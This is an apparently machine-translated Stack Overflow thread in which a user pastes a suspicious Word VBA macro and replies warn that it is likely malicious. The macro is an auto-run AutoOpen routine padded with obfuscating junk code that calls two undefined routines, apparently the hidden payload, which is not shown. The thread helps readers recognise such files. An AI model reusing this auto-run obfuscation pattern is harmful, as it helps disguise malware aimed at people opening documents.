2017-06-26 142 views
-2

我收到一個啓用了宏的word文件,它說我需要點擊啓用編輯並啓用內容。我不知道它會如何傷害我的電腦,我能做些什麼。代碼看起來很奇怪。vba的奇怪代碼,無法理解

Rem Attribute VBA_ModuleType=VBAModule 
Option VBASupport 1 
Sub AutoOpen() 
zYl8LU = 140 - 90 
Select Case zYl8LU 
Case 1 * 7 
NSBbg = 19 
Case -825 + 853 
vRK0385 = sDR7y 
End Select 
FudXt = 140 - 90 
Select Case FudXt 
Case 1 * 7 
WdHFC = 27810.228973731 
Case -825 + 853 
dkreiq5yC = 10421 
Case -93 + 137 
aZUyt = 0 
Case Else 
ekgqhBtV = 10421 
End Select 
SRpy1t = 140 - 90 
Select Case SRpy1t 
Case 1 * 7 
GLBxOsi = 133 
Case -825 + 853 
HgYPRHnt = 7319 
End Select 
CYw0VZ6 = 140 - 90 
Select Case CYw0VZ6 
Case 1 * 7 
kXgxDW = 0 
Case -825 + 853 
eaSro = 59419.351057152 
Case -93 + 137 
zI8odDt = 13328.911402785 
Case Else 
QLt137d = 0 
End Select 
xWrc2G7XR = 257 + 78 
If xWrc2G7XR = 2856/238 Then 
ZN3i5v2l = 10325.065127857 
Else 
dRM3KkJO = -386564602 
End If 
FFm9dSMyu = ZN3i5v2l & dRM3KkJO 
T7VrP = 257 + 78 
If T7VrP = 2856/238 Then 
eKMe9Z = -583164030 
ElseIf T7VrP = -1161 + 1184 Then 
x0Rsq = 61850.103247594 
Else 
ccS08UW1 = 11654 
End If 
YBKpe2Hc = eKMe9Z & x0Rsq & ccS08UW1 
uQFtV9 = 405 - 322 
Select Case uQFtV9 
Case 2856/238 
UrOQ9 = True 
Case -1161 + 1184 
pRfA0 = 5 
Case -205 + 241 
rXbkZNE9 = fsegK 
Case Else 
SsnKbEmX = 5 
End Select 
aV02bBASF = 405 - 322 
Select Case aV02bBASF 
Case 2856/238 
ZH7uh = 50733.062191568 
Case -1161 + 1184 
SDugEpkqU = 28986.675837083 
Case -205 + 241 
xqJ4GbFd6 = 50733.062191568 
End Select 
E7zIr = 774 + 25 
If E7zIr = -1408 + 1424 Then 
jrl7ZSDy = 22451.019039016 
End If 
QPmtR1N = QPmtR1N & jrl7ZSDy 
Cl6b0 = 78 - 4 
Select Case Cl6b0 
Case -1408 + 1424 
D9yUdBN = 51545.623423224 
End Select 
jsvuINFw = 78 - 4 
Select Case jsvuINFw 
Case -1408 + 1424 
RMOqsk = 37900.781209427 
End Select 
XqX6DYSUB = 774 + 25 
If XqX6DYSUB = -1408 + 1424 Then 
YX4lTzV = -2086728548 
End If 
P2GdCVR4S = P2GdCVR4S & YX4lTzV 
le0E4M8 = -337 + 388 
Select Case le0E4M8 
Case 20671 - 20670 
q5B2DjtHP = -1600997174 
Case 507 - 479 
ypUFY = -25685 
Case 366 - 332 
HIvLxb9 = VWoGh 
Case Else 
L0LCc = 53377.031593319 
End Select 
sijTZpe = -337 + 388 
Select Case sijTZpe 
Case 20671 - 20670 
fA59tJnS = h1yHSi 
End Select 
WVIA8Q = 17244/18 
If WVIA8Q = 20671 - 20670 Then 
yhxT0A8 = zRoal2Tvz 
Else 
BL0dM = 0 
End If 
MrmSfU7Fk = yhxT0A8 & BL0dM 
V4PMn = gAbLFX("mshSHEPF") 
zswmTdK0I = 881 - 10 
If zswmTdK0I = -833 + 841 Then 
oomKs9 = 53 
End If 
lhPcD71 = lhPcD71 & oomKs9 
p1VLDnIZ = -1312 + 1322 
Select Case p1VLDnIZ 
Case -833 + 841 
CIyZR7kl = -1864671148 
Case -1634 + 1650 
RWaGNgq3P = 37860.668874852 
End Select 
NA0ges = -1312 + 1322 
Select Case NA0ges 
Case -833 + 841 
a5UuX198x = 3614.7434487404 
End Select 
LcVMZ7 = 881 - 10 
If LcVMZ7 = -833 + 841 Then 
Tus0UPyI = Ubz2f4S 
End If 
SDkEpux3 = SDkEpux3 & Tus0UPyI 
fuZ2zx = 881 - 10 
If fuZ2zx = -833 + 841 Then 
PhRMfkqs = 26914 
Else 
qxA24fgmU = False 
End If 
wg0xB1 = PhRMfkqs & qxA24fgmU 
uvO14rJkT = 32445/35 
If uvO14rJkT = 1026 - 1018 Then 
Nb7fXTSxd = False 
End If 
FE86WlPX = FE86WlPX & Nb7fXTSxd 
y8cwKeO = 306 - 240 
Select Case y8cwKeO 
Case 1026 - 1018 
kyk76 = IZaP3Eh 
End Select 
MFXMQ82Nf = 306 - 240 
Select Case MFXMQ82Nf 
Case 1026 - 1018 
LpZrS9 = 27404 
Case 1093 - 1076 
uKM2Nl = 44747.039996449 
Case 311 - 251 
zIkLADKy = 44747.039996449 
Case Else 
k56fG = 37277.081694579 
End Select 
wHewcADC = 306 - 240 
Select Case wHewcADC 
Case 1026 - 1018 
s9vXr5KLS = sPuLOZ 
Case 1093 - 1076 
pEqp0bckt = False 
Case 311 - 251 
Ft3GY = -4678 
End Select 
dn2YDeOih = 127 - 58 
Select Case dn2YDeOih 
Case -969 + 985 
Sqzkt = 26686.02264767 
Case 18634/847 
frIHqDv8 = 26686.02264767 
End Select 
NUgG0mkTO = 127 - 58 
Select Case NUgG0mkTO 
Case -969 + 985 
csgGQHJi = -1780518846 
Case 18634/847 
lARq3N = GidTvhu 
End Select 
IFwa6 = 127 - 58 
Select Case IFwa6 
Case -969 + 985 
n0cC5O4w = 57552.170757369 
Case 18634/847 
pwEal3 = 178 
Case 25346/667 
jGPKahw2 = 178 
End Select 
Y8xLT = 936 - 905 
Select Case Y8xLT 
Case 10140/780 
HC3MePa = 0 
Case 10908/404 
KMdyl = 36154.553870784 
Case 313 - 262 
QRqx9E = -10436 
Case Else 
fcnqVgSOv = 36154.553870784 
End Select 
vZBe0qfh = 936 - 905 
Select Case vZBe0qfh 
Case 10140/780 
auHDbIoiv = ETVEQs 
Case 10908/404 
h9VOZP64Q = False 
Case 313 - 262 
UbemDlsc = 48591.013672507 
End Select 
NDFTfKs = -812 + 842 
If NDFTfKs = 10140/780 Then 
LFpt7YT = -14056 
End If 
jW5njw = jW5njw & LFpt7YT 
hMlU5To = 936 - 905 
Select Case hMlU5To 
Case 10140/780 
BqfmLWh0a = 230 
Case 10908/404 
L6xG5b = 230 
Case 313 - 262 
jeP6E = True 
End Select 
Grj6KDOG9 = 936 - 905 
Select Case Grj6KDOG9 
Case 10140/780 
rXagpRv7 = 141 
Case 10908/404 
N8bNd05 = 15497.7025565 
End Select 
PHR3iV6 = 4135/5 
If PHR3iV6 = 24872/3109 Then 
T4a8FruKv = 65498.555792898 
End If 
tCs98D0 = tCs98D0 & T4a8FruKv 
jPoX8FZ7 = -161 + 241 
Select Case jPoX8FZ7 
Case 24872/3109 
UMgQ4DI = True 
End Select 
sC9ft = 4135/5 
If sC9ft = 24872/3109 Then 
rtVIp7s = 0 
ElseIf sC9ft = 822 - 799 Then 
YUDV9S = 0 
Else 
R7MGqtve = 65390.720612908 
End If 
SarTnOHX = rtVIp7s & YUDV9S & R7MGqtve 
ZX9RVpwO = 4135/5 
If ZX9RVpwO = 24872/3109 Then 
L0wLmni = 40877.62679699 
ElseIf ZX9RVpwO = 822 - 799 Then 
Yn1BfFp = 132 
Else 
vqr5YgBj = QDlMhK25 
End If 
y763siX9 = L0wLmni & Yn1BfFp & vqr5YgBj 
txSnY4Ok5 = -1486 + 1506 
Select Case txSnY4Ok5 
Case 6988 - 6985 
MBdL4zjJt = 2954 
Case 270 - 242 
jjuzyEMw = True 
Case -267 + 307 
ArwftV08 = tAIYEoZCc 
End Select 
lhQdHS = -1486 + 1506 
Select Case lhQdHS 
Case 6988 - 6985 
VOoZY25qQ = ot7Hv 
End Select 
pNfWeIH4 = 354 - 242 
If pNfWeIH4 = 6988 - 6985 Then 
gF6r42k = 31895 
Else 
cGyVb = -132123098 
End If 
ST7uV0GiU = gF6r42k & cGyVb 
BfkYUW = -1486 + 1506 
Select Case BfkYUW 
Case 6988 - 6985 
K9H2aB = 229 
Case 270 - 242 
vZ0x7Q = 24561.425828122 
Case -267 + 307 
he3I7 = 20052.864527103 
Case Else 
MroRE4PN9 = 24561.425828122 
End Select 
dfFDqS = 299 - 28 
If dfFDqS = -802 + 816 Then 
w9t5s = 30570 
Else 
e0S2u7F9y = 5288.9219885736 
End If 
GGx6brlB = w9t5s & e0S2u7F9y 
IMixODnzC = -82 + 198 
Select Case IMixODnzC 
Case -802 + 816 
B0LkE = 43757.679760976 
Case -750 + 781 
IONvALW = 208 
Case 621 - 565 
nvOfM = -2012572398 
End Select 
A6PA4Sq = -82 + 198 
Select Case A6PA4Sq 
Case -802 + 816 
a3REnvPT = 28257 
Case -750 + 781 
FiUyHapV = R1uwhxGag 
Case 621 - 565 
cjvU1x = 38935.320352693 
End Select 
ciulcj5Nr = 299 - 28 
If ciulcj5Nr = -802 + 816 Then 
Kd7frxe = 26096.650033059 
Else 
RN9ACS = 0 
End If 
ge8GOJk = Kd7frxe & RN9ACS 
Ve7dN = 299 - 28 
If Ve7dN = -802 + 816 Then 
sru3kh = 0 
ElseIf Ve7dN = -750 + 781 Then 
xxZKS = False 
Else 
u8LaXtg5w = 28571 
End If 
ul0mkse = sru3kh & xxZKS & u8LaXtg5w 
cBbOFwR = 863 + 16 
If cBbOFwR = 3559 - 3552 Then 
B0LJA3RY = cFXKoxO1y 
End If 
iM4me = iM4me & B0LJA3RY 
QGOel8w = 29716/323 
Select Case QGOel8w 
Case 3559 - 3552 
uyhpR = 17990 
End Select 
hbNP5 = 29716/323 
Select Case hbNP5 
Case 3559 - 3552 
d3j9x = 223 
Case 1295 - 1275 
HsytUJ1u = 19003.146080133 
Case -417 + 466 
BJXTRQZO = 223 
Case Else 
GcPtkBL0 = 19003.146080133 
End Select 
cidf9UPF = 32356/8089 
Select Case cidf9UPF 
Case 25095/1673 
lC0gFL5 = 0 
Case 1201 - 1176 
G2uoNevK = -30059 
Case -203 + 238 
LprLD = True 
End Select 
tuxfTO = 32356/8089 
Select Case tuxfTO 
Case 25095/1673 
mzAFt = 26332.298634877 
Case 1201 - 1176 
eHQYg4 = 42860.166301563 
Case -203 + 238 
tlAHqIJg = 42860.166301563 
Case Else 
DDmd04Kk = 27 
End Select 
J51R0 = 32356/8089 
Select Case J51R0 
Case 25095/1673 
MvcIM4qEf = 31818.047230563 
End Select 
x1RCbe = 30825/45 
If x1RCbe = 30224/1889 Then 
F0yjc = 9187.3630967158 
ElseIf x1RCbe = 1278 - 1253 Then 
DAuvkxez7 = False 
Else 
T2yo37gql = 51185.45718678 
End If 
Fxt1Nw = F0yjc & DAuvkxez7 & T2yo37gql 
SBOHZ36qu = 17520/365 
Select Case SBOHZ36qu 
Case 30224/1889 
xdDLO = -32061 
Case 1278 - 1253 
gSnwRQUj = 129 
Case 251 - 204 
xlAr3 = 60708.929833781 
End Select 
hlBsHrqO = 30825/45 
If hlBsHrqO = 30224/1889 Then 
ifEnkzu = 0 
ElseIf hlBsHrqO = 1278 - 1253 Then 
zwRWq = 20905 
Else 
BskuK6wj = 0 
End If 
CmS73rZRc = ifEnkzu & zwRWq & BskuK6wj 
XfFQjh25K 
xo43w5lu = 17894/389 
Select Case xo43w5lu 
Case -1620 + 1635 
CMWhUVz6 = False 
Case -544 + 565 
kZaV7 = -205119824 
Case 359 - 310 
kdL7X = 5243.9754685986 
End Select 
dz1gKu = 811 - 11 
If dz1gKu = -1620 + 1635 Then 
XQg1yel = JsXVuth6 
ElseIf dz1gKu = -544 + 565 Then 
E5iBzC = 0 
Else 
iaNvD7Q = False 
End If 
z4LGT6o = XQg1yel & E5iBzC & iaNvD7Q 
rNE1e = 17894/389 
Select Case rNE1e 
Case -1620 + 1635 
NqiYQP82v = 0 
Case -544 + 565 
qdPZbDi = 65 
Case 359 - 310 
jkClmptf1 = 65 
Case Else 
FINWS619 = 22755.530788704 
End Select 
e4cng = 811 - 11 
If e4cng = -1620 + 1635 Then 
JWcslfBm = True 
ElseIf e4cng = -544 + 565 Then 
AyrBUGjzO = vUag8 
Else 
SQsVqRlOT = 90 
End If 
ZWxMz3P = JWcslfBm & AyrBUGjzO & SQsVqRlOT 
hp8Rl = 176 - 144 
Select Case hp8Rl 
Case 22745/4549 
EMW8HF = False 
Case 394 - 373 
kTIX8WsS = 17823.832042435 
Case -410 + 470 
ZETHoU = 23187 
End Select 
wKI2W = 176 - 144 
Select Case wKI2W 
Case 22745/4549 
ZeSUHV = 13921.382511461 
Case 394 - 373 
Bf78hLICA = 0 
Case -410 + 470 
Z4CG5 = 63433.361755063 
Case Else 
W4I7lyMY = -28703 
End Select 
A2p1uh = 176 - 144 
Select Case A2p1uh 
Case 22745/4549 
PDVcbz5 = KrPMk4Qo 
Case 394 - 373 
cwEQUDmP0 = 38785.425785266 
Case -410 + 470 
NQSeig = 7691.4653191352 
Case Else 
SGa12XmW = 7691.4653191352 
End Select 
RD2wX7L = 541 - 46 
If RD2wX7L = 22745/4549 Then 
ez1bH = 25496.826771965 
End If 
GGyYTr = GGyYTr & ez1bH 
S4Bm0sKC = 554 * 1 
If S4Bm0sKC = 23130/2313 Then 
zbaTYKPi1 = True 
End If 
BNIAW = BNIAW & zbaTYKPi1 
Kz5FgU = 554 * 1 
If Kz5FgU = 23130/2313 Then 
fJR1uI = uZ2xoc 
ElseIf Kz5FgU = -19 + 36 Then 
h9vct = 47423.662312704 
Else 
Y896b1c = False 
End If 
aeEPBux = fJR1uI & h9vct & Y896b1c 
jmWUzs5R = 914 - 906 
Select Case jmWUzs5R 
Case 23130/2313 
FG6jmtSDg = 77 
Case -19 + 36 
CHi6n3O1 = 49290.204713267 
End Select 
l5Nx2AWI = 914 - 906 
Select Case l5Nx2AWI 
Case 23130/2313 
Pvs08u = 18918.73116719 
Case -19 + 36 
UU4GTRMbx = -10916 
Case -775 + 811 
UUgYG = False 
End Select 
RYCBiM6Ls = 914 - 906 
Select Case RYCBiM6Ls 
Case 23130/2313 
IiHKzZy = -902621048 
Case -19 + 36 
fVUMG2 = -902621048 
End Select 
I8Tu2mZ3 = 66 * 11 
If I8Tu2mZ3 = 2457/273 Then 
kR1z2FbT = 65 
Else 
qJfszwIQ = 50600.207830897 
End If 
aM7zkw = kR1z2FbT & qJfszwIQ 
c6s8X = -523 + 579 
Select Case c6s8X 
Case 2457/273 
CkuNzl = 13854 
Case 902 - 881 
kwRWIJSvl = -1478128200 
End Select 
NaYwNuz = 66 * 11 
If NaYwNuz = 2457/273 Then 
dC9E6sFJ2 = EhmKT4P 
Else 
aBlcLKIi = 103 
End If 
mjw9LgNP = dC9E6sFJ2 & aBlcLKIi 
bNsXm = -523 + 579 
Select Case bNsXm 
Case 2457/273 
mrQ4d = -1214212190 
Case 902 - 881 
pIQiYvh16 = 68 
Case 29995/857 
Dqxv76 = 31930.540878415 
Case Else 
HLfXMuOo = -20530 
End Select 
Oc8hzilG = 1004 - 8 
If Oc8hzilG = 26736/8912 Then 
IOiXSau = ZFvB6ow9 
End If 
trf3G = trf3G & IOiXSau 
CuKBdLD = 1004 - 8 
If CuKBdLD = 26736/8912 Then 
UlFkMX = 5177.240919898 
Else 
lMVGJ3Cy = -1078933528 
End If 
V63WZRKP = UlFkMX & lMVGJ3Cy 
ghnke = 1004 - 8 
If ghnke = 26736/8912 Then 
hLrbJA2 = 7607.2485538094 
End If 
jzR6WjP = jzR6WjP & hLrbJA2 
px5UhcA = -262 + 354 
Select Case px5UhcA 
Case -108 + 116 
q5gLV9HR = 54833.284619535 
Case 22540/805 
PEu4w2cg = 140 
Case 5375/125 
oti0eC = 140 
End Select 
VQMy5icx = -262 + 354 
Select Case VQMy5icx 
Case -108 + 116 
Qd4TE = 35310.617079435 
Case 22540/805 
VMrfwN9t6 = -22282 
Case 5375/125 
jg0TYb = -1434472100 
End Select 
IeFVHUMwD = -262 + 354 
Select Case IeFVHUMwD 
Case -108 + 116 
MP9a0t = 135 
Case 22540/805 
sEhQ6iUk = 0 
End Select 
fSL0QA = -262 + 354 
Select Case fSL0QA 
Case -108 + 116 
l8Z6v = 132 
Case 22540/805 
BnlpePKd = -1516403338 
Case 5375/125 
Bf6ieC = -1516403338 
Case Else 
YTZAy = 54823.592872626 
End Select 
liSRje = 31668/91 
If liSRje = 6600/600 Then 
QIuDtW2 = 1203 
Else 
IOiHC5X = 1203 
End If 
ITRMzJ3c = QIuDtW2 & IOiHC5X 
v7SAKOjr = 5790 - 5786 
Select Case v7SAKOjr 
Case 6600/600 
UyNK2lJvU = 192 
Case -1261 + 1285 
ZcUYKJi = -2000961406 
Case -329 + 391 
VzAd4B = False 
End Select 
UoULJk7X = 5790 - 5786 
Select Case UoULJk7X 
Case 6600/600 
ySyUk4 = 249 
Case -1261 + 1285 
Tb6sVOv = 249 
Case -329 + 391 
qe5AwZt = 63434.107013487 
End Select 
D0q53H = 5790 - 5786 
Select Case D0q53H 
Case 6600/600 
JXB7Ye0N5 = JIMW37P4u 
Case -1261 + 1285 
kYEJ0 = False 
End Select 
BLKnRS = 16100/20 
If BLKnRS = 11460/764 Then 
nGjiSlU = -27875 
Else 
GuXHvZagC = -27875 
End If 
j6JmAMBlE = nGjiSlU & GuXHvZagC 
IUBWd1wp = 16100/20 
If IUBWd1wp = 11460/764 Then 
QZUyLs = 5964 
Else 
bvh7ojeu = False 
End If 
wOBNFiZr = QZUyLs & bvh7ojeu 
SGdylDB = 4074/97 
Select Case SGdylDB 
Case 11460/764 
CXw7Oy0zA = 30038 
Case -1429 + 1447 
ZvEk7pa5q = 41866.127853656 
Case -786 + 818 
Z2kxS = False 
End Select 

End Sub 

它會真的和我的電腦一起運行嗎?

+3

最好刪除它並繼續前進。這似乎也不是完整的代碼。 – serakfalcon

+3

如果你不知道它做了什麼,你不應該運行它。你怎麼錯過了數十億次關於**未開啓未知文件附件的警告**,這些附件在過去的20年裏一直在傳播?如果文件不是來自非常瞭解誰願意向您解釋宏的人,請不要打開它。這就是數百萬和數百萬非常愚蠢的人每天都會在他們的計算機上感染惡意軟件的原因。 –

+1

除非提供了兩個函數/子程序('gAbLFX'和'XfFjjh25K')的代碼,否則代碼將不會在您的計算機上運行。但是你仍然不應該啓用宏,除非你知道代碼**做了什麼**。即使我們告訴你代碼是非常有用的,你不應該相信我們,除非你知道代碼是非常有用的東西,否則你不應該啓用它。) – YowE3K

回答

1

這個問題是SO的話題,但我會throw you the best bone I can

總之;可能是惡意的。

請勿運行或使用它;刪除代碼並刪除文件。通知發件人該文件已被感染,並在清除其計算機和/或文檔後請求一個新文件。

特定的惡意軟件分析可能是大多數東南網站的主題。如果您有一般問題("how do I protect against malicious VBA code?"或「我打開了一個包含惡意VBA代碼的文檔,我現在該怎麼辦?」),請看ITsec.SE